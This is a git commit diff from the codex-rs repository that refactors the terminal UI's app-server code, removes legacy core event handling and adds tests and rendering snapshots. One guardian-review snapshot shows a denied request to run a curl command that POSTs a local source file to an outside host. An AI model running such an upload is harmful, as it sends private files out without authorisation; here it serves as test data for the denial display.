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Removed remaining core events from tui_app_server (#14942)

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Eric Traut 2026-03-18 09:35:05 -06:00 • committed by GitHub
parent 58ac2a8773
commit 347c6b12ec
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21 changed files with 5348 additions and 3309 deletions
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3362
codex-rs/tui_app_server/src/app.rs
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1472
codex-rs/tui_app_server/src/app/app_server_adapter.rs
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141
codex-rs/tui_app_server/src/app/app_server_requests.rs
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@ -7,16 +7,12 @@ use codex_app_server_protocol::FileChangeApprovalDecision;
use codex_app_server_protocol::FileChangeRequestApprovalResponse;
use codex_app_server_protocol::GrantedPermissionProfile;
use codex_app_server_protocol::McpServerElicitationAction;
use codex_app_server_protocol::McpServerElicitationRequestParams;
use codex_app_server_protocol::McpServerElicitationRequestResponse;
use codex_app_server_protocol::PermissionsRequestApprovalResponse;
use codex_app_server_protocol::RequestId as AppServerRequestId;
use codex_app_server_protocol::ServerRequest;
use codex_app_server_protocol::ToolRequestUserInputResponse;
use codex_protocol::approvals::ElicitationRequest;
use codex_protocol::mcp::RequestId as McpRequestId;
use codex_protocol::protocol::Event;
use codex_protocol::protocol::EventMsg;
use codex_protocol::protocol::ReviewDecision;
#[derive(Debug, Clone, PartialEq, Eq)]
@ -37,9 +33,7 @@ pub(super) struct PendingAppServerRequests {
file_change_approvals: HashMap<String, AppServerRequestId>,
permissions_approvals: HashMap<String, AppServerRequestId>,
user_inputs: HashMap<String, AppServerRequestId>,
mcp_pending_by_matcher: HashMap<McpServerMatcher, AppServerRequestId>,
mcp_legacy_by_matcher: HashMap<McpServerMatcher, McpLegacyRequestKey>,
mcp_legacy_requests: HashMap<McpLegacyRequestKey, AppServerRequestId>,
mcp_requests: HashMap<McpLegacyRequestKey, AppServerRequestId>,
}
impl PendingAppServerRequests {
@ -48,9 +42,7 @@ impl PendingAppServerRequests {
self.file_change_approvals.clear();
self.permissions_approvals.clear();
self.user_inputs.clear();
self.mcp_pending_by_matcher.clear();
self.mcp_legacy_by_matcher.clear();
self.mcp_legacy_requests.clear();
self.mcp_requests.clear();
}
pub(super) fn note_server_request(
@ -82,14 +74,13 @@ impl PendingAppServerRequests {
None
}
ServerRequest::McpServerElicitationRequest { request_id, params } => {
let matcher = McpServerMatcher::from_v2(params);
if let Some(legacy_key) = self.mcp_legacy_by_matcher.remove(&matcher) {
self.mcp_legacy_requests
.insert(legacy_key, request_id.clone());
} else {
self.mcp_pending_by_matcher
.insert(matcher, request_id.clone());
}
self.mcp_requests.insert(
McpLegacyRequestKey {
server_name: params.server_name.clone(),
request_id: app_server_request_id_to_mcp_request_id(request_id),
},
request_id.clone(),
);
None
}
ServerRequest::DynamicToolCall { request_id, .. } => {
@ -119,27 +110,6 @@ impl PendingAppServerRequests {
}
}
pub(super) fn note_legacy_event(&mut self, event: &Event) {
let EventMsg::ElicitationRequest(request) = &event.msg else {
return;
};
let matcher = McpServerMatcher::from_core(
&request.server_name,
request.turn_id.as_deref(),
&request.request,
);
let legacy_key = McpLegacyRequestKey {
server_name: request.server_name.clone(),
request_id: request.id.clone(),
};
if let Some(request_id) = self.mcp_pending_by_matcher.remove(&matcher) {
self.mcp_legacy_requests.insert(legacy_key, request_id);
} else {
self.mcp_legacy_by_matcher.insert(matcher, legacy_key);
}
}
pub(super) fn take_resolution<T>(
&mut self,
op: T,
@ -233,7 +203,7 @@ impl PendingAppServerRequests {
content,
meta,
} => self
.mcp_legacy_requests
.mcp_requests
.remove(&McpLegacyRequestKey {
server_name: server_name.to_string(),
request_id: request_id.clone(),
@ -274,64 +244,7 @@ impl PendingAppServerRequests {
self.permissions_approvals
.retain(|_, value| value != request_id);
self.user_inputs.retain(|_, value| value != request_id);
self.mcp_pending_by_matcher
.retain(|_, value| value != request_id);
self.mcp_legacy_requests
.retain(|_, value| value != request_id);
}
}
#[derive(Debug, Clone, PartialEq, Eq, Hash)]
struct McpServerMatcher {
server_name: String,
turn_id: Option<String>,
request: String,
}
impl McpServerMatcher {
fn from_v2(params: &McpServerElicitationRequestParams) -> Self {
Self {
server_name: params.server_name.clone(),
turn_id: params.turn_id.clone(),
request: serde_json::to_string(
&serde_json::to_value(&params.request).unwrap_or(serde_json::Value::Null),
)
.unwrap_or_else(|_| "null".to_string()),
}
}
fn from_core(server_name: &str, turn_id: Option<&str>, request: &ElicitationRequest) -> Self {
let request = match request {
ElicitationRequest::Form {
meta,
message,
requested_schema,
} => serde_json::to_string(&serde_json::json!({
"mode": "form",
"_meta": meta,
"message": message,
"requestedSchema": requested_schema,
}))
.unwrap_or_else(|_| "null".to_string()),
ElicitationRequest::Url {
meta,
message,
url,
elicitation_id,
} => serde_json::to_string(&serde_json::json!({
"mode": "url",
"_meta": meta,
"message": message,
"url": url,
"elicitationId": elicitation_id,
}))
.unwrap_or_else(|_| "null".to_string()),
};
Self {
server_name: server_name.to_string(),
turn_id: turn_id.map(str::to_string),
request,
}
self.mcp_requests.retain(|_, value| value != request_id);
}
}
@ -341,6 +254,13 @@ struct McpLegacyRequestKey {
request_id: McpRequestId,
}
fn app_server_request_id_to_mcp_request_id(request_id: &AppServerRequestId) -> McpRequestId {
match request_id {
AppServerRequestId::String(value) => McpRequestId::String(value.clone()),
AppServerRequestId::Integer(value) => McpRequestId::Integer(*value),
}
}
fn file_change_decision(decision: &ReviewDecision) -> Result<FileChangeApprovalDecision, String> {
match decision {
ReviewDecision::Approved => Ok(FileChangeApprovalDecision::Accept),
@ -374,12 +294,8 @@ mod tests {
use codex_app_server_protocol::ToolRequestUserInputParams;
use codex_app_server_protocol::ToolRequestUserInputResponse;
use codex_protocol::approvals::ElicitationAction;
use codex_protocol::approvals::ElicitationRequest;
use codex_protocol::approvals::ElicitationRequestEvent;
use codex_protocol::approvals::ExecPolicyAmendment;
use codex_protocol::mcp::RequestId as McpRequestId;
use codex_protocol::protocol::Event;
use codex_protocol::protocol::EventMsg;
use codex_protocol::protocol::Op;
use codex_protocol::protocol::ReviewDecision;
use pretty_assertions::assert_eq;
@ -515,26 +431,9 @@ mod tests {
}
#[test]
fn correlates_mcp_elicitation_between_legacy_event_and_server_request() {
fn correlates_mcp_elicitation_server_request_with_resolution() {
let mut pending = PendingAppServerRequests::default();
pending.note_legacy_event(&Event {
id: "event-1".to_string(),
msg: EventMsg::ElicitationRequest(ElicitationRequestEvent {
turn_id: Some("turn-1".to_string()),
server_name: "example".to_string(),
id: McpRequestId::String("mcp-1".to_string()),
request: ElicitationRequest::Form {
meta: None,
message: "Need input".to_string(),
requested_schema: json!({
"type": "object",
"properties": {},
}),
},
}),
});
assert_eq!(
pending.note_server_request(&ServerRequest::McpServerElicitationRequest {
request_id: AppServerRequestId::Integer(12),
@ -560,7 +459,7 @@ mod tests {
let resolution = pending
.take_resolution(&Op::ResolveElicitation {
server_name: "example".to_string(),
request_id: McpRequestId::String("mcp-1".to_string()),
request_id: McpRequestId::Integer(12),
decision: ElicitationAction::Accept,
content: Some(json!({ "answer": "yes" })),
meta: Some(json!({ "source": "tui" })),

808
codex-rs/tui_app_server/src/app/pending_interactive_replay.rs
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41
codex-rs/tui_app_server/src/app_backtrack.rs
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@ -36,9 +36,6 @@ use crate::pager_overlay::Overlay;
use crate::tui;
use crate::tui::TuiEvent;
use codex_protocol::ThreadId;
use codex_protocol::protocol::CodexErrorInfo;
use codex_protocol::protocol::ErrorEvent;
use codex_protocol::protocol::EventMsg;
use codex_protocol::user_input::TextElement;
use color_eyre::eyre::Result;
use crossterm::event::KeyCode;
@ -462,37 +459,19 @@ impl App {
tui.frame_requester().schedule_frame();
}
pub(crate) fn handle_backtrack_event(&mut self, event: &EventMsg) {
match event {
EventMsg::ThreadRolledBack(rollback) => {
// `pending_rollback` is set only after this UI sends `Op::ThreadRollback`
// from the backtrack flow. In that case, finish immediately using the
// stored selection (nth user message) so local trim matches the exact
// backtrack target.
//
// When it is `None`, rollback came from replay or another source. We
// queue an AppEvent so rollback trim runs in FIFO order with
// `InsertHistoryCell` events, avoiding races with in-flight transcript
// inserts.
if self.backtrack.pending_rollback.is_some() {
self.finish_pending_backtrack();
} else {
self.app_event_tx.send(AppEvent::ApplyThreadRollback {
num_turns: rollback.num_turns,
});
}
}
EventMsg::Error(ErrorEvent {
codex_error_info: Some(CodexErrorInfo::ThreadRollbackFailed),
..
}) => {
// Core rejected the rollback; clear the guard so the user can retry.
self.backtrack.pending_rollback = None;
}
_ => {}
pub(crate) fn handle_backtrack_rollback_succeeded(&mut self, num_turns: u32) {
if self.backtrack.pending_rollback.is_some() {
self.finish_pending_backtrack();
} else {
self.app_event_tx
.send(AppEvent::ApplyThreadRollback { num_turns });
}
}
pub(crate) fn handle_backtrack_rollback_failed(&mut self) {
self.backtrack.pending_rollback = None;
}
/// Apply rollback semantics for `ThreadRolledBack` events where this TUI does not have an
/// in-flight backtrack request (`pending_rollback` is `None`).
///

9
codex-rs/tui_app_server/src/app_event.rs
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@ -15,7 +15,6 @@ use codex_chatgpt::connectors::AppInfo;
use codex_file_search::FileMatch;
use codex_protocol::ThreadId;
use codex_protocol::openai_models::ModelPreset;
use codex_protocol::protocol::Event;
use codex_protocol::protocol::Op;
use codex_protocol::protocol::RateLimitSnapshot;
use codex_utils_approval_presets::ApprovalPreset;
@ -71,7 +70,6 @@ pub(crate) struct ConnectorsSnapshot {
#[allow(clippy::large_enum_variant)]
#[derive(Debug)]
pub(crate) enum AppEvent {
CodexEvent(Event),
/// Open the agent picker for switching active threads.
OpenAgentPicker,
/// Switch the active thread to the selected agent.
@ -83,13 +81,6 @@ pub(crate) enum AppEvent {
op: Op,
},
/// Forward an event from a non-primary thread into the app-level thread router.
#[allow(dead_code)]
ThreadEvent {
thread_id: ThreadId,
event: Event,
},
/// Start a new session.
NewSession,

110
codex-rs/tui_app_server/src/app_server_session.rs
View file

@ -46,6 +46,7 @@ use codex_app_server_protocol::ThreadStartParams;
use codex_app_server_protocol::ThreadStartResponse;
use codex_app_server_protocol::ThreadUnsubscribeParams;
use codex_app_server_protocol::ThreadUnsubscribeResponse;
use codex_app_server_protocol::Turn;
use codex_app_server_protocol::TurnInterruptParams;
use codex_app_server_protocol::TurnInterruptResponse;
use codex_app_server_protocol::TurnStartParams;
@ -69,7 +70,7 @@ use codex_protocol::protocol::RateLimitWindow;
use codex_protocol::protocol::ReviewRequest;
use codex_protocol::protocol::ReviewTarget as CoreReviewTarget;
use codex_protocol::protocol::SandboxPolicy;
use codex_protocol::protocol::SessionConfiguredEvent;
use codex_protocol::protocol::SessionNetworkProxyRuntime;
use color_eyre::eyre::ContextCompat;
use color_eyre::eyre::Result;
use color_eyre::eyre::WrapErr;
@ -97,6 +98,25 @@ pub(crate) struct AppServerSession {
next_request_id: i64,
}
#[derive(Debug, Clone, PartialEq)]
pub(crate) struct ThreadSessionState {
pub(crate) thread_id: ThreadId,
pub(crate) forked_from_id: Option<ThreadId>,
pub(crate) thread_name: Option<String>,
pub(crate) model: String,
pub(crate) model_provider_id: String,
pub(crate) service_tier: Option<codex_protocol::config_types::ServiceTier>,
pub(crate) approval_policy: AskForApproval,
pub(crate) approvals_reviewer: codex_protocol::config_types::ApprovalsReviewer,
pub(crate) sandbox_policy: SandboxPolicy,
pub(crate) cwd: PathBuf,
pub(crate) reasoning_effort: Option<codex_protocol::openai_models::ReasoningEffort>,
pub(crate) history_log_id: u64,
pub(crate) history_entry_count: u64,
pub(crate) network_proxy: Option<SessionNetworkProxyRuntime>,
pub(crate) rollout_path: Option<PathBuf>,
}
#[derive(Clone, Copy)]
enum ThreadParamsMode {
Embedded,
@ -112,18 +132,9 @@ impl ThreadParamsMode {
}
}
/// Result of starting, resuming, or forking an app-server thread.
///
/// Carries the full `Thread` snapshot returned by the server alongside the
/// derived `SessionConfiguredEvent`. The snapshot's `turns` are used by
/// `App::restore_started_app_server_thread` to seed the event store and
/// replay transcript history — this is the only source of prior-turn data
/// for remote sessions, where historical websocket notifications are not
/// re-sent after the handshake.
pub(crate) struct AppServerStartedThread {
pub(crate) thread: Thread,
pub(crate) session_configured: SessionConfiguredEvent,
pub(crate) show_raw_agent_reasoning: bool,
pub(crate) session: ThreadSessionState,
pub(crate) turns: Vec<Turn>,
}
impl AppServerSession {
@ -274,7 +285,6 @@ impl AppServerSession {
config: Config,
thread_id: ThreadId,
) -> Result<AppServerStartedThread> {
let show_raw_agent_reasoning = config.show_raw_agent_reasoning;
let request_id = self.next_request_id();
let response: ThreadResumeResponse = self
.client
@ -288,7 +298,7 @@ impl AppServerSession {
})
.await
.wrap_err("thread/resume failed during TUI bootstrap")?;
started_thread_from_resume_response(response, show_raw_agent_reasoning)
started_thread_from_resume_response(&response)
}
pub(crate) async fn fork_thread(
@ -296,7 +306,6 @@ impl AppServerSession {
config: Config,
thread_id: ThreadId,
) -> Result<AppServerStartedThread> {
let show_raw_agent_reasoning = config.show_raw_agent_reasoning;
let request_id = self.next_request_id();
let response: ThreadForkResponse = self
.client
@ -310,7 +319,7 @@ impl AppServerSession {
})
.await
.wrap_err("thread/fork failed during TUI bootstrap")?;
started_thread_from_fork_response(response, show_raw_agent_reasoning)
started_thread_from_fork_response(&response)
}
fn thread_params_mode(&self) -> ThreadParamsMode {
@ -837,47 +846,40 @@ fn thread_cwd_from_config(config: &Config, thread_params_mode: ThreadParamsMode)
fn started_thread_from_start_response(
response: ThreadStartResponse,
) -> Result<AppServerStartedThread> {
let session_configured = session_configured_from_thread_start_response(&response)
let session = thread_session_state_from_thread_start_response(&response)
.map_err(color_eyre::eyre::Report::msg)?;
Ok(AppServerStartedThread {
thread: response.thread,
session_configured,
show_raw_agent_reasoning: false,
session,
turns: response.thread.turns,
})
}
fn started_thread_from_resume_response(
response: ThreadResumeResponse,
show_raw_agent_reasoning: bool,
response: &ThreadResumeResponse,
) -> Result<AppServerStartedThread> {
let session_configured = session_configured_from_thread_resume_response(&response)
let session = thread_session_state_from_thread_resume_response(response)
.map_err(color_eyre::eyre::Report::msg)?;
let thread = response.thread;
Ok(AppServerStartedThread {
thread,
session_configured,
show_raw_agent_reasoning,
session,
turns: response.thread.turns.clone(),
})
}
fn started_thread_from_fork_response(
response: ThreadForkResponse,
show_raw_agent_reasoning: bool,
response: &ThreadForkResponse,
) -> Result<AppServerStartedThread> {
let session_configured = session_configured_from_thread_fork_response(&response)
let session = thread_session_state_from_thread_fork_response(response)
.map_err(color_eyre::eyre::Report::msg)?;
let thread = response.thread;
Ok(AppServerStartedThread {
thread,
session_configured,
show_raw_agent_reasoning,
session,
turns: response.thread.turns.clone(),
})
}
fn session_configured_from_thread_start_response(
fn thread_session_state_from_thread_start_response(
response: &ThreadStartResponse,
) -> Result<SessionConfiguredEvent, String> {
session_configured_from_thread_response(
) -> Result<ThreadSessionState, String> {
thread_session_state_from_thread_response(
&response.thread.id,
response.thread.name.clone(),
response.thread.path.clone(),
@ -892,10 +894,10 @@ fn session_configured_from_thread_start_response(
)
}
fn session_configured_from_thread_resume_response(
fn thread_session_state_from_thread_resume_response(
response: &ThreadResumeResponse,
) -> Result<SessionConfiguredEvent, String> {
session_configured_from_thread_response(
) -> Result<ThreadSessionState, String> {
thread_session_state_from_thread_response(
&response.thread.id,
response.thread.name.clone(),
response.thread.path.clone(),
@ -910,10 +912,10 @@ fn session_configured_from_thread_resume_response(
)
}
fn session_configured_from_thread_fork_response(
fn thread_session_state_from_thread_fork_response(
response: &ThreadForkResponse,
) -> Result<SessionConfiguredEvent, String> {
session_configured_from_thread_response(
) -> Result<ThreadSessionState, String> {
thread_session_state_from_thread_response(
&response.thread.id,
response.thread.name.clone(),
response.thread.path.clone(),
@ -951,7 +953,7 @@ fn review_target_to_app_server(
clippy::too_many_arguments,
reason = "session mapping keeps explicit fields"
)]
fn session_configured_from_thread_response(
fn thread_session_state_from_thread_response(
thread_id: &str,
thread_name: Option<String>,
rollout_path: Option<PathBuf>,
@ -963,12 +965,12 @@ fn session_configured_from_thread_response(
sandbox_policy: SandboxPolicy,
cwd: PathBuf,
reasoning_effort: Option<codex_protocol::openai_models::ReasoningEffort>,
) -> Result<SessionConfiguredEvent, String> {
let session_id = ThreadId::from_string(thread_id)
) -> Result<ThreadSessionState, String> {
let thread_id = ThreadId::from_string(thread_id)
.map_err(|err| format!("thread id `{thread_id}` is invalid: {err}"))?;
Ok(SessionConfiguredEvent {
session_id,
Ok(ThreadSessionState {
thread_id,
forked_from_id: None,
thread_name,
model,
@ -981,7 +983,6 @@ fn session_configured_from_thread_response(
reasoning_effort,
history_log_id: 0,
history_entry_count: 0,
initial_messages: None,
network_proxy: None,
rollout_path,
})
@ -1084,7 +1085,7 @@ mod tests {
}
#[test]
fn resume_response_relies_on_snapshot_replay_not_initial_messages() {
fn resume_response_restores_turns_from_thread_items() {
let thread_id = ThreadId::new();
let response = ThreadResumeResponse {
thread: codex_app_server_protocol::Thread {
@ -1135,11 +1136,8 @@ mod tests {
};
let started =
started_thread_from_resume_response(response, /*show_raw_agent_reasoning*/ false)
.expect("resume response should map");
assert!(started.session_configured.initial_messages.is_none());
assert!(!started.show_raw_agent_reasoning);
assert_eq!(started.thread.turns.len(), 1);
assert_eq!(started.thread.turns[0].items.len(), 2);
started_thread_from_resume_response(&response).expect("resume response should map");
assert_eq!(started.turns.len(), 1);
assert_eq!(started.turns[0], response.thread.turns[0]);
}
}

1
codex-rs/tui_app_server/src/bottom_pane/chat_composer.rs
View file

@ -740,6 +740,7 @@ impl ChatComposer {
/// composer rehydrates the entry immediately. This path intentionally routes through
/// [`Self::apply_history_entry`] so cursor placement remains aligned with keyboard history
/// recall semantics.
#[cfg(test)]
pub(crate) fn on_history_entry_response(
&mut self,
log_id: u64,

1
codex-rs/tui_app_server/src/bottom_pane/chat_composer_history.rs
View file

@ -237,6 +237,7 @@ impl ChatComposerHistory {
}
/// Integrate a GetHistoryEntryResponse event.
#[cfg(test)]
pub fn on_entry_response(
&mut self,
log_id: u64,

54
codex-rs/tui_app_server/src/bottom_pane/mcp_server_elicitation.rs
View file

@ -5,6 +5,8 @@ use std::path::PathBuf;
use codex_app_server_protocol::McpElicitationEnumSchema;
use codex_app_server_protocol::McpElicitationPrimitiveSchema;
use codex_app_server_protocol::McpElicitationSingleSelectEnumSchema;
use codex_app_server_protocol::McpServerElicitationRequest;
use codex_app_server_protocol::McpServerElicitationRequestParams;
use codex_protocol::ThreadId;
use codex_protocol::approvals::ElicitationAction;
use codex_protocol::approvals::ElicitationRequest;
@ -201,6 +203,36 @@ impl FooterTip {
}
impl McpServerElicitationFormRequest {
pub(crate) fn from_app_server_request(
thread_id: ThreadId,
request_id: McpRequestId,
request: McpServerElicitationRequestParams,
) -> Option<Self> {
let McpServerElicitationRequestParams {
server_name,
request,
..
} = request;
let McpServerElicitationRequest::Form {
meta,
message,
requested_schema,
} = request
else {
return None;
};
let requested_schema = serde_json::to_value(requested_schema).ok()?;
Self::from_parts(
thread_id,
server_name,
request_id,
meta,
message,
requested_schema,
)
}
pub(crate) fn from_event(
thread_id: ThreadId,
request: ElicitationRequestEvent,
@ -214,6 +246,24 @@ impl McpServerElicitationFormRequest {
return None;
};
Self::from_parts(
thread_id,
request.server_name,
request.id,
meta,
message,
requested_schema,
)
}
fn from_parts(
thread_id: ThreadId,
server_name: String,
request_id: McpRequestId,
meta: Option<Value>,
message: String,
requested_schema: Value,
) -> Option<Self> {
let tool_suggestion = parse_tool_suggestion_request(meta.as_ref());
let is_tool_approval = meta
.as_ref()
@ -313,8 +363,8 @@ impl McpServerElicitationFormRequest {
Some(Self {
thread_id,
server_name: request.server_name,
request_id: request.id,
server_name,
request_id,
message,
approval_display_params,
response_mode,

1
codex-rs/tui_app_server/src/bottom_pane/mod.rs
View file

@ -1073,6 +1073,7 @@ impl BottomPane {
|| self.composer.is_in_paste_burst()
}
#[cfg(test)]
pub(crate) fn on_history_entry_response(
&mut self,
log_id: u64,

1711
codex-rs/tui_app_server/src/chatwidget.rs
View file

File diff suppressed because it is too large Load diff

82
codex-rs/tui_app_server/src/chatwidget/agent.rs
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@ -1,82 +0,0 @@
#![allow(dead_code)]
use codex_core::CodexThread;
use codex_protocol::protocol::EventMsg;
use codex_protocol::protocol::Op;
use tokio::sync::mpsc::UnboundedSender;
use tokio::sync::mpsc::unbounded_channel;
use crate::app_event::AppEvent;
use crate::app_event_sender::AppEventSender;
const TUI_NOTIFY_CLIENT: &str = "codex-tui";
async fn initialize_app_server_client_name(thread: &CodexThread) {
if let Err(err) = thread
.set_app_server_client_name(Some(TUI_NOTIFY_CLIENT.to_string()))
.await
{
tracing::error!("failed to set app server client name: {err}");
}
}
/// Spawn agent loops for an existing thread (e.g., a forked thread).
/// Sends the provided `SessionConfiguredEvent` immediately, then forwards subsequent
/// events and accepts Ops for submission.
pub(crate) fn spawn_agent_from_existing(
thread: std::sync::Arc<CodexThread>,
session_configured: codex_protocol::protocol::SessionConfiguredEvent,
app_event_tx: AppEventSender,
) -> UnboundedSender<Op> {
let (codex_op_tx, mut codex_op_rx) = unbounded_channel::<Op>();
let app_event_tx_clone = app_event_tx;
tokio::spawn(async move {
initialize_app_server_client_name(thread.as_ref()).await;
// Forward the captured `SessionConfigured` event so it can be rendered in the UI.
let ev = codex_protocol::protocol::Event {
id: "".to_string(),
msg: codex_protocol::protocol::EventMsg::SessionConfigured(session_configured),
};
app_event_tx_clone.send(AppEvent::CodexEvent(ev));
let thread_clone = thread.clone();
tokio::spawn(async move {
while let Some(op) = codex_op_rx.recv().await {
let id = thread_clone.submit(op).await;
if let Err(e) = id {
tracing::error!("failed to submit op: {e}");
}
}
});
while let Ok(event) = thread.next_event().await {
let is_shutdown_complete = matches!(event.msg, EventMsg::ShutdownComplete);
app_event_tx_clone.send(AppEvent::CodexEvent(event));
if is_shutdown_complete {
// ShutdownComplete is terminal for a thread; drop this receiver task so
// the Arc<CodexThread> can be released and thread resources can clean up.
break;
}
}
});
codex_op_tx
}
/// Spawn an op-forwarding loop for an existing thread without subscribing to events.
pub(crate) fn spawn_op_forwarder(thread: std::sync::Arc<CodexThread>) -> UnboundedSender<Op> {
let (codex_op_tx, mut codex_op_rx) = unbounded_channel::<Op>();
tokio::spawn(async move {
initialize_app_server_client_name(thread.as_ref()).await;
while let Some(op) = codex_op_rx.recv().await {
if let Err(e) = thread.submit(op).await {
tracing::error!("failed to submit op: {e}");
}
}
});
codex_op_tx
}

2
codex-rs/tui_app_server/src/chatwidget/realtime.rs
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@ -117,6 +117,7 @@ impl ChatWidget {
}
}
#[cfg(test)]
pub(super) fn pending_steer_compare_key_from_item(
item: &codex_protocol::items::UserMessageItem,
) -> PendingSteerCompareKey {
@ -163,6 +164,7 @@ impl ChatWidget {
)
}
#[cfg(test)]
pub(super) fn should_render_realtime_user_message_event(
&self,
event: &UserMessageEvent,

6
codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_collab_spawn_completed_renders_requested_model_and_effort.snap Normal file
View file

@ -0,0 +1,6 @@
---
source: tui_app_server/src/chatwidget/tests.rs
expression: combined
---
• Spawned 019cff70-2599-75e2-af72-b91781b41a8e (gpt-5 high)
└ Explore the repo

12
codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_collab_wait_items_render_history.snap Normal file
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@ -0,0 +1,12 @@
---
source: tui_app_server/src/chatwidget/tests.rs
expression: combined
---
• Waiting for 2 agents
└ 019cff70-2599-75e2-af72-b958ce5dc1cc
019cff70-2599-75e2-af72-b96db334332d
• Finished waiting
└ 019cff70-2599-75e2-af72-b958ce5dc1cc: Completed - Done
019cff70-2599-75e2-af72-b96db334332d: Running

21
codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__app_server_guardian_review_denied_renders_denied_request.snap Normal file
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@ -0,0 +1,21 @@
---
source: tui_app_server/src/chatwidget/tests.rs
assertion_line: 9974
expression: term.backend().vt100().screen().contents()
---
✗ Request denied for codex to run curl -sS -i -X POST --data-binary @core/src/c
odex.rs https://example.com
• Working (0s • esc to interrupt)
› Ask Codex to do anything
? for shortcuts 100% context left

791
codex-rs/tui_app_server/src/chatwidget/tests.rs
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@ -19,6 +19,30 @@ use crate::model_catalog::ModelCatalog;
use crate::test_backend::VT100Backend;
use crate::tui::FrameRequester;
use assert_matches::assert_matches;
use codex_app_server_protocol::CollabAgentState as AppServerCollabAgentState;
use codex_app_server_protocol::CollabAgentStatus as AppServerCollabAgentStatus;
use codex_app_server_protocol::CollabAgentTool as AppServerCollabAgentTool;
use codex_app_server_protocol::CollabAgentToolCallStatus as AppServerCollabAgentToolCallStatus;
use codex_app_server_protocol::ErrorNotification;
use codex_app_server_protocol::FileUpdateChange;
use codex_app_server_protocol::GuardianApprovalReview;
use codex_app_server_protocol::GuardianApprovalReviewStatus;
use codex_app_server_protocol::GuardianRiskLevel as AppServerGuardianRiskLevel;
use codex_app_server_protocol::ItemCompletedNotification;
use codex_app_server_protocol::ItemGuardianApprovalReviewCompletedNotification;
use codex_app_server_protocol::ItemGuardianApprovalReviewStartedNotification;
use codex_app_server_protocol::ItemStartedNotification;
use codex_app_server_protocol::PatchApplyStatus as AppServerPatchApplyStatus;
use codex_app_server_protocol::PatchChangeKind;
use codex_app_server_protocol::ServerNotification;
use codex_app_server_protocol::ThreadClosedNotification;
use codex_app_server_protocol::ThreadItem as AppServerThreadItem;
use codex_app_server_protocol::Turn as AppServerTurn;
use codex_app_server_protocol::TurnCompletedNotification;
use codex_app_server_protocol::TurnError as AppServerTurnError;
use codex_app_server_protocol::TurnStartedNotification;
use codex_app_server_protocol::TurnStatus as AppServerTurnStatus;
use codex_app_server_protocol::UserInput as AppServerUserInput;
use codex_core::config::ApprovalsReviewer;
use codex_core::config::Config;
use codex_core::config::ConfigBuilder;
@ -130,6 +154,7 @@ use pretty_assertions::assert_eq;
#[cfg(target_os = "windows")]
use serial_test::serial;
use std::collections::BTreeMap;
use std::collections::HashMap;
use std::collections::HashSet;
use std::path::PathBuf;
use tempfile::NamedTempFile;
@ -1935,6 +1960,7 @@ async fn make_chatwidget_manual(
external_editor_state: ExternalEditorState::Closed,
realtime_conversation: RealtimeConversationUiState::default(),
last_rendered_user_message_event: None,
last_non_retry_error: None,
};
widget.set_model(&resolved_model);
(widget, rx, op_rx)
@ -2912,6 +2938,28 @@ async fn submit_user_message_with_mode_errors_when_mode_changes_during_running_t
);
}
#[tokio::test]
async fn submit_user_message_blocks_when_thread_model_is_unavailable() {
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(None).await;
chat.thread_id = Some(ThreadId::new());
chat.set_model("");
chat.bottom_pane
.set_composer_text("hello".to_string(), Vec::new(), Vec::new());
chat.handle_key_event(KeyEvent::from(KeyCode::Enter));
assert_no_submit_op(&mut op_rx);
let rendered = drain_insert_history(&mut rx)
.iter()
.map(|lines| lines_to_single_string(lines))
.collect::<Vec<_>>()
.join("\n");
assert!(
rendered.contains("Thread model is unavailable."),
"expected unavailable-model error, got: {rendered:?}"
);
}
#[tokio::test]
async fn submit_user_message_with_mode_allows_same_mode_during_running_turn() {
let (mut chat, _rx, mut op_rx) = make_chatwidget_manual(Some("gpt-5")).await;
@ -4123,6 +4171,619 @@ async fn live_legacy_agent_message_after_item_completed_does_not_duplicate_assis
assert!(drain_insert_history(&mut rx).is_empty());
}
#[tokio::test]
async fn live_app_server_user_message_item_completed_does_not_duplicate_rendered_prompt() {
let (mut chat, mut rx, mut op_rx) = make_chatwidget_manual(None).await;
chat.thread_id = Some(ThreadId::new());
chat.bottom_pane
.set_composer_text("Hi, are you there?".to_string(), Vec::new(), Vec::new());
chat.handle_key_event(KeyEvent::new(KeyCode::Enter, KeyModifiers::NONE));
match next_submit_op(&mut op_rx) {
Op::UserTurn { .. } => {}
other => panic!("expected Op::UserTurn, got {other:?}"),
}
let inserted = drain_insert_history(&mut rx);
assert_eq!(inserted.len(), 1);
assert!(lines_to_single_string(&inserted[0]).contains("Hi, are you there?"));
chat.handle_server_notification(
ServerNotification::ItemCompleted(ItemCompletedNotification {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item: AppServerThreadItem::UserMessage {
id: "user-1".to_string(),
content: vec![AppServerUserInput::Text {
text: "Hi, are you there?".to_string(),
text_elements: Vec::new(),
}],
},
}),
None,
);
assert!(drain_insert_history(&mut rx).is_empty());
}
#[tokio::test]
async fn live_app_server_turn_completed_clears_working_status_after_answer_item() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(None).await;
chat.handle_server_notification(
ServerNotification::TurnStarted(TurnStartedNotification {
thread_id: "thread-1".to_string(),
turn: AppServerTurn {
id: "turn-1".to_string(),
items: Vec::new(),
status: AppServerTurnStatus::InProgress,
error: None,
},
}),
None,
);
assert!(chat.bottom_pane.is_task_running());
let status = chat
.bottom_pane
.status_widget()
.expect("status indicator should be visible");
assert_eq!(status.header(), "Working");
chat.handle_server_notification(
ServerNotification::ItemCompleted(ItemCompletedNotification {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item: AppServerThreadItem::AgentMessage {
id: "msg-1".to_string(),
text: "Yes. What do you need?".to_string(),
phase: Some(MessagePhase::FinalAnswer),
memory_citation: None,
},
}),
None,
);
let cells = drain_insert_history(&mut rx);
assert_eq!(cells.len(), 1);
assert!(lines_to_single_string(&cells[0]).contains("Yes. What do you need?"));
assert!(chat.bottom_pane.is_task_running());
chat.handle_server_notification(
ServerNotification::TurnCompleted(TurnCompletedNotification {
thread_id: "thread-1".to_string(),
turn: AppServerTurn {
id: "turn-1".to_string(),
items: Vec::new(),
status: AppServerTurnStatus::Completed,
error: None,
},
}),
None,
);
assert!(!chat.bottom_pane.is_task_running());
assert!(chat.bottom_pane.status_widget().is_none());
}
#[tokio::test]
async fn live_app_server_file_change_item_started_preserves_changes() {
